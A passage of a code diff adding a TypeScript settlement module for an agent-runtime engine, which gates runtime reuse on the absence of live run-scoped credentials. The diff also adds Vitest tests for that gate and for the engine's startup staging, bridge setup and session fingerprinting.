+    let savedPayload: Record<string, unknown> | null = null;
+    // A save-eligible sandbox candidate: the staged-files payload carries no
+    // credential, and the bridge tokens already died with the bridges, so the
+    // live run-scoped credential list is empty.
+    const ledger = ledgerWith(["staged_runtime", "staging_lease"], {
+      staged_runtime: { stagedRuntime: { files: ["a", "b"] } },
+    });
+    const steps = baseSteps([], {
+      reuseCandidate: (): ReuseCandidateInput => ({
+        kind: "sandbox",
+        causePermitsSave: true,
+        liveRunScopedCredentials: [],
+      }),
+      settleReuse: (slots, decision) => {
+        if (decision.kind === "save") {
+          const staged = slots.get("staged_runtime") as unknown as {
+            stagedRuntime: Record<string, unknown>;
+          };
+          savedPayload = staged.stagedRuntime;
+        }
+      },
+    });
+
+    const report = await settleAcpRun(ledger, cleanTurnCause, steps);
+
+    // The saved reuse payload carries no run-scoped credential.
+    expect(savedPayload).not.toBeNull();
+    expect(JSON.stringify(savedPayload)).not.toContain(runScopedCredential);
+    // The disposition report (telemetry) carries no run-scoped credential.
+    expect(JSON.stringify(report)).not.toContain(runScopedCredential);
+    // The staged files transferred.
+    expect(report.records).toContainEqual({ id: "staged_runtime", disposition: "transferred" });
+  });
+
+  it("test_warm_save_requires_credential_gate_pass_else_close_and_relaunch", async () => {
+    const runWithCredentials = async (liveRunScopedCredentials: readonly string[]) => {
+      const order: string[] = [];
+      const ledger = ledgerWith(["acp_runtime"]);
+      const steps = baseSteps(order, {
+        reuseCandidate: (): ReuseCandidateInput => ({
+          kind: "host",
+          causePermitsSave: true,
+          liveRunScopedCredentials,
+        }),
+        endSession: (_slots, decision) => {
+          order.push(decision.kind === "save" ? "kept" : "closed");
+        },
+      });
+      const report = await settleAcpRun(ledger, cleanTurnCause, steps);
+      return { order, report };
+    };
+
+    // A live run-scoped credential fails the gate: close-and-relaunch, finalized.
+    const gated = await runWithCredentials(["run-api-key"]);
+    expect(gated.order).toContain("closed");
+    expect(gated.report.records).toContainEqual({ id: "acp_runtime", disposition: "finalized" });
+
+    // No live run-scoped credential passes the gate: the runtime transfers.
+    const cleared = await runWithCredentials([]);
+    expect(cleared.order).toContain("kept");
+    expect(cleared.report.records).toContainEqual({ id: "acp_runtime", disposition: "transferred" });
+  });
+
+  it("decideReuse blocks a save when the Amendment B credential gate fails", () => {
+    // A direct unit check on the pure decision, so the gate is legible on its own.
+    const base: ReuseCandidateInput = { kind: "host", causePermitsSave: true, liveRunScopedCredentials: [] };
+    expect(decideReuse(base)).toEqual({ kind: "save", savedId: "acp_runtime" } satisfies ReuseDecision);
+    expect(decideReuse({ ...base, liveRunScopedCredentials: ["k"] }).kind).toBe("discard");
+    expect(decideReuse({ ...base, causePermitsSave: false }).kind).toBe("discard");
+    expect(decideReuse(null).kind).toBe("discard");
+    expect(decideReuse({ ...base, kind: "sandbox" })).toEqual({
+      kind: "save",
+      savedId: "staged_runtime",
+    } satisfies ReuseDecision);
+  });
+});
diff --git a/packages/adapter-utils/src/acpx-engine/settlement-sequence.ts b/packages/adapter-utils/src/acpx-engine/settlement-sequence.ts
new file mode 100644
index 00000000000..2db0fda9ea9
--- /dev/null
+++ b/packages/adapter-utils/src/acpx-engine/settlement-sequence.ts
@@ -0,0 +1,204 @@
+// The settlement sequence.
+//
+// `settleAcpRun(ledger, cause, steps)` is the one cleanup owner for every site
+// and every settled path. The one exception is the startup rollback, which the
+// coordinator owns (Phase 20).
+//
+// The sequence claims the ledger once, makes the pure reuse decision, then runs
+// the ordered steps:
+//
+//   1. endSession   — close every runtime the decision did not transfer, and
+//                     drop the warm entry when it closes.
+//   2. settleReuse  — perform the decision: a save transfers the candidate to the
+//                     site store (which arms the per-entry idle timer); everything
+//                     else discards.
+//   3. stopTransport — stop both bridges in one `allSettled`.
+//   4. syncBack     — the site sync-back.
+//   5. releaseStagingLease — runs in a `finally`, so an earlier step fault never
+//                     strands the lease.
+//
+// The Phase 3 error policy governs every step: a step records its error and the
+// later steps still run. Every step no-ops on an empty slot.
+//
+// Amendment B — the credential gate. A runtime is save-eligible only when no
+// run-scoped credential issued to it remains valid. The decision is pure and
+// runs before any close. Settlement stops both bridges before a sandbox-lane
+// transfer, so the bridge tokens die with the bridges. The run API key is not
+// invalidated on run end (grounded server-side), so the host-lane warm save
+// discards instead of transfers (close-and-relaunch) until a credential-rebind
+// protocol exists. The sandbox staged-files reuse is unaffected: its payload
+// carries no credentials.
+
+import type {
+  AcquiredRunResources,
+  ResourceDisposition,
+  ResourceId,
+  RunResourcePayloads,
+  RunSiteKind,
+  SettledResourceEntry,
+  SettlementCause,
+} from "./run-contracts.js";
+
+/** The save-versus-discard decision the settlement makes before any close. */
+export type ReuseDecision =
+  | { readonly kind: "save"; readonly savedId: ResourceId }
+  | { readonly kind: "discard"; readonly reason: string };
+
+/**
+ * The inputs the reuse decision reads. The site derives the candidate from the
+ * settled slots. A null candidate means the run holds nothing to save.
+ */
+export interface ReuseCandidateInput {
+  /** The site kind. "host" saves the runtime; "sandbox" saves the staged files. */
+  readonly kind: RunSiteKind;
+  /** True when the settlement cause permits a save (a clean persistent turn). */
+  readonly causePermitsSave: boolean;
+  /**
+   * Amendment B: the run-scoped credentials the candidate would still carry into
+   * the store. A save is eligible only when this list is empty — no run-scoped
+   * credential issued to the runtime remains valid.
+   */
+  readonly liveRunScopedCredentials: readonly string[];
+}
+
+/** One resource's final disposition, as the settlement records it. */
+export interface ResourceDispositionRecord {
+  readonly id: ResourceId;
+  readonly disposition: ResourceDisposition;
+}
+
+/** The per-resource disposition report the settlement produces at the end. */
+export interface SettlementDispositionReport {
+  readonly records: readonly ResourceDispositionRecord[];
+}
+
+/** The settled slots view a step reads. `get` returns undefined for an empty slot. */
+export interface SettlementSlots {
+  get<Id extends ResourceId>(id: Id): RunResourcePayloads[Id] | undefined;
+  has(id: ResourceId): boolean;
+}
+
+/**
+ * The effectful steps the sequence runs. The engine implements each step over
+ * its own run state. Each step no-ops on an empty slot. A step must not throw
+ * for the sequence to record its error and continue; a throw is caught and
+ * recorded under the Phase 3 error policy.
+ */
+export interface SettlementSteps {
+  /**
+   * Derive the reuse candidate from the settled slots and the cause, or null
+   * when the run holds nothing to save.
+   */
+  reuseCandidate(slots: SettlementSlots, cause: SettlementCause | null): ReuseCandidateInput | null;
+  /** Close every runtime the decision did not transfer; drop the warm entry on close. */
+  endSession(slots: SettlementSlots, decision: ReuseDecision): Promise<void> | void;
+  /** Perform the decision: a save transfers to the site store; everything else discards. */
+  settleReuse(slots: SettlementSlots, decision: ReuseDecision): Promise<void> | void;
+  /** Stop both bridges in one `allSettled`. */
+  stopTransport(slots: SettlementSlots): Promise<void> | void;
+  /** The site sync-back. */
+  syncBack(slots: SettlementSlots): Promise<void> | void;
+  /** Release the staging lease. Runs in a `finally`. */
+  releaseStagingLease(slots: SettlementSlots): void;
+  /** Record a per-step error under the Phase 3 error policy. */
+  recordError(step: string, error: unknown): Promise<void> | void;
+}
+
+/**
+ * The pure reuse decision. A save is eligible only when a candidate exists, the
+ * cause permits a save, and Amendment B holds: no run-scoped credential issued
+ * to the candidate remains valid. Everything else discards, with a reason.
+ */
+export function decideReuse(candidate: ReuseCandidateInput | null): ReuseDecision {
+  if (!candidate) {
+    return { kind: "discard", reason: "no reuse candidate" };
+  }
+  if (!candidate.causePermitsSave) {
+    return { kind: "discard", reason: "settlement cause forbids save" };
+  }
+  if (candidate.liveRunScopedCredentials.length > 0) {
+    // Amendment B credential gate: a live run-scoped credential blocks the save.
+    return { kind: "discard", reason: "run-scoped credential still valid" };
+  }
+  const savedId: ResourceId = candidate.kind === "host" ? "acp_runtime" : "staged_runtime";
+  return { kind: "save", savedId };
+}
+
+/**
+ * Settle the run's resources. Claims the ledger once, makes the reuse decision,
+ * runs the ordered steps under the Phase 3 error policy, releases the staging
+ * lease in a `finally`, and returns the final per-resource disposition report.
+ */
+export async function settleAcpRun(
+  ledger: AcquiredRunResources,
+  cause: SettlementCause | null,
+  steps: SettlementSteps,
+): Promise<SettlementDispositionReport> {
+  // Claim the ledger once. Every later step reads the claimed slots.
+  const consumed = ledger.takeForSettlement();
+  const entries = consumed.entries();
+  const slots = makeSlots(entries);
+
+  // The reuse decision is pure and runs before any close.
+  const candidate = steps.reuseCandidate(slots, cause);
+  const decision = decideReuse(candidate);
+
+  const runStep = async (name: string, run: () => Promise<void> | void): Promise<void> => {
+    try {
+      await run();
+    } catch (error) {
+      // The Phase 3 error policy: record the step error and let later steps run.
+      await steps.recordError(name, error);
+    }
+  };
+
+  try {
+    await runStep("end_session", () => steps.endSession(slots, decision));
+    await runStep("settle_reuse", () => steps.settleReuse(slots, decision));
+    await runStep("stop_transport", () => steps.stopTransport(slots));
+    await runStep("sync_back", () => steps.syncBack(slots));
+  } finally {
+    // The staging lease release runs in a `finally`, so an earlier step fault
+    // never strands the lease.
+    try {
+      steps.releaseStagingLease(slots);
+    } catch (error) {
+      await steps.recordError("release_staging_lease", error);
+    }
+  }
+
+  return buildReport(entries, decision);
+}
+
+/** Build the settled slots view from the claimed entries. */
+function makeSlots(entries: readonly SettledResourceEntry[]): SettlementSlots {
+  const byId = new Map<ResourceId, SettledResourceEntry>();
+  for (const entry of entries) byId.set(entry.id, entry);
+  return {
+    get<Id extends ResourceId>(id: Id): RunResourcePayloads[Id] | undefined {
+      return byId.get(id)?.payload as RunResourcePayloads[Id] | undefined;
+    },
+    has(id: ResourceId): boolean {
+      return byId.has(id);
+    },
+  };
+}
+
+/**
+ * Build the final per-resource disposition report. The claim-time value the
+ * ledger stamps ("transferred") is not the final report; the settlement decides
+ * it here. A saved resource is `transferred`; every other resource is
+ * `finalized`.
+ */
+function buildReport(
+  entries: readonly SettledResourceEntry[],
+  decision: ReuseDecision,
+): SettlementDispositionReport {
+  const savedId = decision.kind === "save" ? decision.savedId : null;
+  return {
+    records: entries.map((entry) => ({
+      id: entry.id,
+      disposition: entry.id === savedId ? ("transferred" as const) : ("finalized" as const),
+    })),
+  };
+}
diff --git a/packages/adapter-utils/src/acpx-engine/startup-characterization.test.ts b/packages/adapter-utils/src/acpx-engine/startup-characterization.test.ts
new file mode 100644
index 00000000000..9367f933e81
--- /dev/null
+++ b/packages/adapter-utils/src/acpx-engine/startup-characterization.test.ts
@@ -0,0 +1,917 @@
+import fs from "node:fs/promises";
+import os from "node:os";
+import path from "node:path";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import type { AcpRuntimeOptions } from "acpx/runtime";
+import type { AdapterExecutionContext, AdapterRuntimeMcpAccess } from "@paperclipai/adapter-utils";
+import {
+  prepareAdapterExecutionTargetRuntime,
+  startAdapterExecutionTargetPaperclipBridge,
+  startAdapterExecutionTargetProcessSessionBridge,
+} from "@paperclipai/adapter-utils/execution-target";
+
+// Wrap the staging seam + both sandbox bridges in call-recording spies that
+// still delegate to the real implementations. This copies the execute.test.ts
+// harness verbatim so a startup test asserts the exact staging args and bridge
+// hand-off the engine threads without changing any real behavior.
+vi.mock("@paperclipai/adapter-utils/execution-target", async (importActual) => {
+  const actual = await importActual<typeof import("@paperclipai/adapter-utils/execution-target")>();
+  return {
+    ...actual,
+    prepareAdapterExecutionTargetRuntime: vi.fn(actual.prepareAdapterExecutionTargetRuntime),
+    startAdapterExecutionTargetPaperclipBridge: vi.fn(actual.startAdapterExecutionTargetPaperclipBridge),
+    startAdapterExecutionTargetProcessSessionBridge: vi.fn(actual.startAdapterExecutionTargetProcessSessionBridge),
+  };
+});
+import { createAcpxEngineExecutor, type AcpxEngineExecutorOptions } from "./execute.js";
+import { runChildProcess } from "../server-utils.js";
+
+const tempRoots: string[] = [];
+
+async function makeTempRoot() {
+  const root = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-acpx-skills-"));
+  tempRoots.push(root);
+  return root;
+}
+
+afterEach(async () => {
+  // A remote run stages a process-session bridge whose detached event writer can
+  // still be flushing a trailing event file into `.../process-sessions/<id>/events`
+  // when the run's own best-effort `client.remove(sessionDir)` (which production
+  // catch-wraps) has already returned. Under CI load that trailing write can land
+  // between this recursive delete's directory snapshot and its `rmdir`, surfacing as
+  // `ENOTEMPTY`. `maxRetries`/`retryDelay` make the cleanup ride out that window the
+  // same way production tolerates it, instead of failing the just-passed test.
+  await Promise.all(
+    tempRoots.splice(0).map((root) =>
+      fs.rm(root, { recursive: true, force: true, maxRetries: 5, retryDelay: 50 }),
+    ),
+  );
+});
+
+async function pathExists(candidate: string): Promise<boolean> {
+  return fs.access(candidate).then(() => true).catch(() => false);
+}
+
+void pathExists;
+
+function createLocalSandboxRunner(
+  onExecute?: (input: {
+    command: string;
+    args?: string[];
+    cwd?: string;
+    env?: Record<string, string>;
+  }) => void,
+) {
+  let counter = 0;
+  return {
+    execute: async (input: {
+      command: string;
+      args?: string[];
+      cwd?: string;
+      env?: Record<string, string>;
+      stdin?: string;
+      timeoutMs?: number;
+      onLog?: (stream: "stdout" | "stderr", chunk: string) => Promise<void>;
+      onSpawn?: (meta: { pid: number; startedAt: string }) => Promise<void>;
+    }) => {
+      counter += 1;
+      onExecute?.(input);
+      const command = input.command === "bash" ? "/bin/bash" : input.command;
+      return await runChildProcess(`acpx-sandbox-run-${counter}`, command, input.args ?? [], {
+        cwd: input.cwd ?? process.cwd(),
+        env: input.env ?? {},
+        stdin: input.stdin,
+        timeoutSec: Math.max(1, Math.ceil((input.timeoutMs ?? 30_000) / 1000)),
+        graceSec: 5,
+        onLog: input.onLog ?? (async () => {}),
+        onSpawn: input.onSpawn
+          ? async (meta) => input.onSpawn?.({ pid: meta.pid, startedAt: meta.startedAt })
+          : undefined,
+      });
+    },
+  };
+}
+
+function buildRuntime(
+  onSetConfigOption?: (input: { key: string; value: string }) => void,
+  onEnsureSession?: (input: Record<string, unknown>) => void,
+) {
+  return {
+    ensureSession: async (input: Record<string, unknown>) => {
+      onEnsureSession?.(input);
+      return ({
+      backendSessionId: "backend-session",
+      agentSessionId: "agent-session",
+      runtimeSessionName: "runtime-session",
+      });
+    },
+    startTurn: () => ({
+      events: (async function* () {
+        yield { type: "done", stopReason: "end_turn" };
+      })(),
+      result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
+      cancel: async () => {},
+    }),
+    setConfigOption: async (input: { key: string; value: string }) => {
+      onSetConfigOption?.(input);
+    },
+    close: async () => {},
+  };
+}
+
+async function runExecutor(
+  config: Record<string, unknown>,
+  options: {
+    context?: Record<string, unknown>;
+    executionTransport?: Record<string, unknown>;
+    authToken?: string;
+    executionTarget?: Record<string, unknown>;
+    runtimeMcp?: AdapterRuntimeMcpAccess;
+    prepareRemoteManagedHome?: AcpxEngineExecutorOptions["prepareRemoteManagedHome"];
+    startupTraceContext?: AdapterExecutionContext["startupTraceContext"];
+  } = {},
+) {
+  const runtimeOptions: Record<string, unknown>[] = [];
+  const configOptions: Array<{ key: string; value: string }> = [];
+  const sessionInputs: Record<string, unknown>[] = [];
+  const meta: Record<string, unknown>[] = [];
+  const logs: Array<{ stream: string; text: string }> = [];
+  const events: Array<{ eventType: string; payload?: Record<string, unknown> }> = [];
+  const execute = createAcpxEngineExecutor({
+    ...(options.prepareRemoteManagedHome
+      ? { prepareRemoteManagedHome: options.prepareRemoteManagedHome }
+      : {}),
+    createRuntime: (options) => {
+      runtimeOptions.push(options as unknown as Record<string, unknown>);
+      return buildRuntime(
+        ({ key, value }) => configOptions.push({ key, value }),
+        (input) => sessionInputs.push(input),
+      ) as never;
+    },
+  });
+
+  const result = await execute({
+    runId: "run-1",
+    agent: {
+      id: "agent-1",
+      companyId: "company-1",
+    },
+      runtime: {},
+      config,
+      context: options.context ?? {},
+      executionTransport: options.executionTransport,
+      authToken: options.authToken,
+      executionTarget: options.executionTarget,
+      runtimeMcp: options.runtimeMcp,
+      startupTraceContext: options.startupTraceContext,
+      onLog: async (stream: "stdout" | "stderr", text: string) => {
+        logs.push({ stream, text });
+      },
+    onMeta: async (payload: unknown) => {
+      meta.push(payload as Record<string, unknown>);
+    },
+    onEvent: async (event: { eventType: string; payload?: Record<string, unknown> }) => {
+      events.push(event);
+    },
+  } as never);
+
+  expect(result.exitCode).toBe(0);
+  return { logs, meta, events, runtimeOptions, configOptions, sessionInputs, result };
+}
+
+// The staging-seam describe helper from execute.test.ts (~:2152). It builds a
+// runner-backed remote target: the local runner extracts the staged tar into
+// `remoteCwd`, so the run really ships the HOST worktree into the sandbox.
+async function setupRemoteSandbox() {
+  const root = await makeTempRoot();
+  const stateDir = path.join(root, "state");
+  const localCwd = path.join(root, "worktree");
+  const remoteCwd = path.join(root, "remote-workspace");
+  await fs.mkdir(localCwd, { recursive: true });
+  await fs.mkdir(remoteCwd, { recursive: true });
+  // A file present only in the HOST worktree proves the workspace is shipped
+  // into the sandbox: the local runner extracts the staged tar into remoteCwd.
+  await fs.writeFile(path.join(localCwd, "hello.txt"), "hi", "utf8");
+  const runner = createLocalSandboxRunner();
+  const executionTarget = {
+    kind: "remote",
+    transport: "sandbox",
+    providerKey: "fake-plugin",
+    remoteCwd,
+    runner,
+  };
+  return { root, stateDir, localCwd, remoteCwd, executionTarget };
+}
+
+// Read the `configFingerprint` off a settled run result.
+function fpOf(result: { sessionParams?: unknown }): string | undefined {
+  return (result.sessionParams as { configFingerprint?: string } | undefined)?.configFingerprint;
+}
+
+const okHandle = {
+  backendSessionId: "backend-session",
+  agentSessionId: "agent-session",
+  runtimeSessionName: "runtime-session",
+};
+
+function completedTurn() {
+  return {
+    events: (async function* () {
+      yield { type: "done", stopReason: "end_turn" };
+    })(),
+    result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
+    cancel: async () => {},
+  };
+}
+
+describe("ACPX engine startup characterization", () => {
+  // Item 1 + 8: the remote launch env and its finalization point.
+  describe("remote launch environment values", () => {
+    beforeEach(() => vi.clearAllMocks());
+
+    it("mints the bridge launch env into the process-session command payload", async () => {
+      const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+      // Decode the process-session LAUNCH payload (the base64 command blob). The
+      // in-sandbox process env rides there, not in the exec's own `env`.
+      let launchPayload: Record<string, unknown> | null = null;
+      (executionTarget as { runner: unknown }).runner = createLocalSandboxRunner((input) => {
+        if (input.env?.PAPERCLIP_SANDBOX_EXEC_CHANNEL === "bridge") {
+          const script = input.args?.[1] ?? "";
+          const match = script.match(/PAPERCLIP_PROCESS_SESSION_COMMAND_B64='([^']+)'/);
+          if (match) {
+            launchPayload = JSON.parse(Buffer.from(match[1]!, "base64").toString("utf8")) as Record<
+              string,
+              unknown
+            >;
+          }
+        }
+      });
+
+      await runExecutor(
+        { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir, cwd: localCwd },
+        { authToken: "real-run-jwt", executionTarget },
+      );
+
+      // The launch payload carries the MERGED paperclip bridge env: the queue
+      // transport mode, a loopback bridge base URL, and a minted bridge token.
+      const payloadEnv = ((launchPayload as Record<string, unknown> | null)?.env ?? {}) as Record<
+        string,
+        unknown
+      >;
+      expect(payloadEnv).toMatchObject({ PAPERCLIP_API_BRIDGE_MODE: "queue_v1" });
+      expect(String(payloadEnv.PAPERCLIP_API_URL ?? "")).toMatch(/^http:\/\/127\.0\.0\.1:\d+$/);
+      // The minted bridge token is present and is NOT the host run JWT.
+      expect(payloadEnv.PAPERCLIP_API_KEY).toBeTruthy();
+      expect(payloadEnv.PAPERCLIP_API_KEY).not.toBe("real-run-jwt");
+    });
+
+    it("finalizes the launch env at the bridge merge: the process env carries the merged bridge values", async () => {
+      const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+      // Capture the launch payload AND the bridge-channel exec's own `env`.
+      let launchPayload: Record<string, unknown> | null = null;
+      let bridgeExecEnv: Record<string, string> | undefined;
+      (executionTarget as { runner: unknown }).runner = createLocalSandboxRunner((input) => {
+        if (input.env?.PAPERCLIP_SANDBOX_EXEC_CHANNEL === "bridge") {
+          bridgeExecEnv = input.env;
+          const script = input.args?.[1] ?? "";
+          const match = script.match(/PAPERCLIP_PROCESS_SESSION_COMMAND_B64='([^']+)'/);
+          if (match) {
+            launchPayload = JSON.parse(Buffer.from(match[1]!, "base64").toString("utf8")) as Record<
+              string,
+              unknown
+            >;
+          }
+        }
+      });
+
+      await runExecutor(
+        { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir, cwd: localCwd },
+        { authToken: "real-run-jwt", executionTarget },
+      );
+
+      // The launch payload is the finalized carrier of the process env. It already
+      // holds the merged bridge values at the point the run emits it, so no later
+      // write mutates the process env after the bridge merge.
+      const payloadEnv = ((launchPayload as Record<string, unknown> | null)?.env ?? {}) as Record<
+        string,
+        unknown
+      >;
+      expect(payloadEnv.PAPERCLIP_API_BRIDGE_MODE).toBe("queue_v1");
+      expect(payloadEnv.PAPERCLIP_API_KEY).toBeTruthy();
+      // The bridge-channel exec's OWN env is the sandbox transport channel, not the
+      // agent process env: it does not carry the minted agent bridge key. This pins
+      // that the merged agent env lives only in the finalized launch payload.
+      expect(bridgeExecEnv?.PAPERCLIP_SANDBOX_EXEC_CHANNEL).toBe("bridge");
+      expect(bridgeExecEnv?.PAPERCLIP_API_KEY).toBeUndefined();
+    });
+  });
+
+  // Item 2: the 17 fingerprint fields folded into `configFingerprint`, and the
+  // outer session key form that embeds it.
+  describe("session fingerprint and session key", () => {
+    beforeEach(() => vi.clearAllMocks());
+
+    it("forms the session key as paperclip:company:agent:taskKey:fingerprint and embeds the fingerprint", async () => {
+      const root = await makeTempRoot();
+      const { result } = await runExecutor({
+        agent: "custom",
+        agentCommand: "node ./fake-acp.js",
+        stateDir: path.join(root, "state"),
+        cwd: path.join(root, "workspace"),
+      });
+
+      const fp = fpOf(result);
+      expect(fp).toBeTypeOf("string");
+      expect(fp).toBeTruthy();
+      // No taskId/issueId/workspaceId in the default context, so taskKey is "default".
+      const sessionKey = (result.sessionParams as { sessionKey?: string }).sessionKey;
+      expect(sessionKey).toBe(`paperclip:company-1:agent-1:default:${fp}`);
+    });
+
+    it("keeps the fingerprint stable across two identical runs and a same-config new wake", async () => {
+      const root = await makeTempRoot();
+      const baseConfig = {
+        agent: "custom",
+        agentCommand: "node ./fake-acp.js",
+        stateDir: path.join(root, "state"),
+        cwd: path.join(root, "workspace"),
+      };
+      const first = await runExecutor(baseConfig, {
+        context: { taskId: "issue-1", wakeReason: "issue_assigned" },
+      });
+      const identical = await runExecutor(baseConfig, {
+        context: { taskId: "issue-1", wakeReason: "issue_assigned" },
+      });
+      // A fresh heartbeat with a different wake reason but the same config env.
+      const newWake = await runExecutor(baseConfig, {
+        context: { taskId: "issue-1", wakeReason: "comment", wakeCommentId: "c-9" },
+      });
+
+      expect(fpOf(first.result)).toBeTruthy();
+      expect(fpOf(identical.result)).toBe(fpOf(first.result));
+      // Per-wake PAPERCLIP_* churn does not reset the session fingerprint.
+      expect(fpOf(newWake.result)).toBe(fpOf(first.result));
+    });
+
+    it("busts the fingerprint when any representative folded dimension changes", async () => {
+      const root = await makeTempRoot();
+      const cwd = path.join(root, "workspace");
+      const stateDir = path.join(root, "state");
+      const context = { context: { taskId: "issue-1", wakeReason: "issue_assigned" } };
+      const base = { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir, cwd };
+
+      const baseFp = fpOf((await runExecutor(base, context)).result);
+      expect(baseFp).toBeTruthy();
+
+      // Each edit changes exactly one folded dimension and must bust the fingerprint.
+      // agentCommand.
+      expect(fpOf((await runExecutor({ ...base, agentCommand: "node ./other-acp.js" }, context)).result)).not.toBe(baseFp);
+      // cwd.
+      expect(fpOf((await runExecutor({ ...base, cwd: path.join(root, "other-cwd") }, context)).result)).not.toBe(baseFp);
+      // requestedModel.
+      expect(fpOf((await runExecutor({ ...base, model: "some-model" }, context)).result)).not.toBe(baseFp);
+      // requestedThinkingEffort.
+      expect(fpOf((await runExecutor({ ...base, thinkingEffort: "high" }, context)).result)).not.toBe(baseFp);
+      // mode.
+      expect(fpOf((await runExecutor({ ...base, mode: "oneshot" }, context)).result)).not.toBe(baseFp);
+      // adapterEnvHash (a resolved adapter env value).
+      expect(fpOf((await runExecutor({ ...base, env: { FOO: "bar" } }, context)).result)).not.toBe(baseFp);
+      // mcpServers identity (injected runtime MCP set).
+      expect(
+        fpOf(
+          (
+            await runExecutor(base, {
+              ...context,
+              runtimeMcp: {
+                getServers: () => [
+                  { name: "github", url: "https://x.test/mcp", connectionId: "c-1", token: "t-1" },
+                ],
+              },
+            })
+          ).result,
+        ),
+      ).not.toBe(baseFp);
+      // secretManifestHash.
+      expect(
+        fpOf(
+          (
+            await runExecutor(base, {
+              ...context,
+              context: {
+                taskId: "issue-1",
+                wakeReason: "issue_assigned",
+                paperclipSecrets: {
+                  manifest: [
+                    {
+                      configPath: "env.API_TOKEN",
+                      envKey: "API_TOKEN",
+                      secretId: "secret-1",
+                      bindingId: "binding-1",
+                      secretKey: "api-token",
+                      version: 1,
+                      provider: "local_encrypted",
+                    },
+                  ],
+                },
+              },
+            })
+          ).result,
+        ),
+      ).not.toBe(baseFp);
+      // additionalSourcesIdentity (referenced-project set).
+      expect(
+        fpOf(
+          (
+            await runExecutor(base, {
+              ...context,
+              context: {
+                taskId: "issue-1",
+                wakeReason: "issue_assigned",
+                paperclipWorkspace: {
+                  cwd,
+                  realization: {
+                    additional: [
+                      {
+                        path: "/host/project-a",
+                        projectId: "a",
+                        projectWorkspaceId: "ws-a",
+                        repoUrl: "https://example.test/a.git",
+                        repoRef: "ref-a-1",
+                      },
+                    ],
+                  },
+                },
+              },
+            })
+          ).result,
+        ),
+      ).not.toBe(baseFp);
+
+      // fastMode folds only for codex, so pin it with a codex-vs-codex pair.
+      const codexBase = { agent: "codex", agentCommand: "node ./fake-acp.js", stateDir, cwd };
+      const codexFp = fpOf((await runExecutor(codexBase, context)).result);
+      expect(fpOf((await runExecutor({ ...codexBase, fastMode: true }, context)).result)).not.toBe(codexFp);
+    });
+  });
+
+  // Item 3: the staging seam call, its arguments, and its order (workspace then
+  // assets, serial). Modeled on the PR-1 staging-seam tests.
+  describe("staging seam calls, arguments, and order", () => {
+    beforeEach(() => vi.clearAllMocks());
+
+    it("stages the host workspace with no assets, exactly once, before the process launch", async () => {
+      const { stateDir, localCwd, remoteCwd, executionTarget } = await setupRemoteSandbox();
+      const { sessionInputs, events } = await runExecutor(
+        { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir, cwd: localCwd },
+        { authToken: "real-run-jwt", executionTarget },
+      );
+
+      // The staging seam crossed exactly once.
+      expect(vi.mocked(prepareAdapterExecutionTargetRuntime)).toHaveBeenCalledTimes(1);
+      const stageArgs = vi.mocked(prepareAdapterExecutionTargetRuntime).mock.calls[0]![0];
+      // The HOST worktree is shipped first; no per-adapter home asset in this lane.
+      expect(stageArgs.workspaceLocalDir).toBe(localCwd);
+      expect(stageArgs.assets ?? []).toEqual([]);
+      expect(stageArgs.installCommand ?? null).toBeNull();
+      expect(stageArgs.target).toMatchObject({ kind: "remote", transport: "sandbox" });
+
+      // The workspace really landed in the sandbox workspace dir.
+      await expect(fs.readFile(path.join(remoteCwd, "hello.txt"), "utf8")).resolves.toBe("hi");
+      // A per-step timing event proves the sync ran inside its timed boundary.
+      const stageEvent = events.find(
+        (event) => event.eventType === "run.startup.step" && event.payload?.step === "stage.sync",
+      );
+      expect(stageEvent).toBeTruthy();
+      // And session/new binds to the in-sandbox workspace cwd the seam returned.
+      expect(sessionInputs[0]?.cwd).toBe(remoteCwd);
+    });
+
+    it("threads a managed-home asset through the same seam after the workspace", async () => {
+      const { root, stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+      const managedHomeDir = path.join(root, "managed-home");
+      await fs.mkdir(managedHomeDir, { recursive: true });
+      await fs.writeFile(path.join(managedHomeDir, "config.json"), "{}", "utf8");
+
+      await runExecutor(
+        { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir, cwd: localCwd },
+        {
+          authToken: "real-run-jwt",
+          executionTarget,
+          prepareRemoteManagedHome: async (input) => {
+            const stagedRuntime = await input.stage([
+              { key: "home", localDir: managedHomeDir, followSymlinks: true },
+            ]);
+            return { stagedRuntime };
+          },
+        },
+      );
+
+      // The seam's home asset is threaded through the SAME staging seam, keyed by
+      // the workspace-local dir. Workspace ships first; the asset rides alongside it.
+      const stageArgs = vi.mocked(prepareAdapterExecutionTargetRuntime).mock.calls[0]![0];
+      expect(stageArgs.workspaceLocalDir).toBe(localCwd);
+      expect(stageArgs.assets).toEqual([
+        { key: "home", localDir: managedHomeDir, followSymlinks: true },
+      ]);
+    });
+  });
+
+  // Item 4: the two-bridge overlap and the ACP-initialization ordering.
+  describe("two-bridge overlap and ACP initialization order", () => {
+    beforeEach(() => vi.clearAllMocks());
+
+    it("defers the process bridge env, shares one runtimeRootDir, and runs session/new on the sandbox cwd", async () => {
+      const { stateDir, localCwd, remoteCwd, executionTarget } = await setupRemoteSandbox();
+      const { sessionInputs, runtimeOptions } = await runExecutor(
+        { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir, cwd: localCwd },
+        { authToken: "real-run-jwt", executionTarget },
+      );
+
+      // The process-session bridge receives its launch env as a DEFERRED thunk, the
+      // seam that lets its env-independent setup overlap the paperclip bridge start.
+      const processArgs = vi.mocked(startAdapterExecutionTargetProcessSessionBridge).mock.calls[0]![0];
+      expect(typeof processArgs.env).toBe("function");
+
+      // Both bridges receive the SAME real (non-null) runtimeRootDir from staging.
+      const paperclipArgs = vi.mocked(startAdapterExecutionTargetPaperclipBridge).mock.calls[0]![0];
+      expect(paperclipArgs.runtimeRootDir).toBeTruthy();
+      expect(String(paperclipArgs.runtimeRootDir)).toContain(".paperclip-runtime");
+      expect(processArgs.runtimeRootDir).toBe(paperclipArgs.runtimeRootDir);
+
+      // The ACP runtime + session/new both bind to the in-sandbox workspace cwd,
+      // which the run resolves only after the bridges bring the sandbox up.
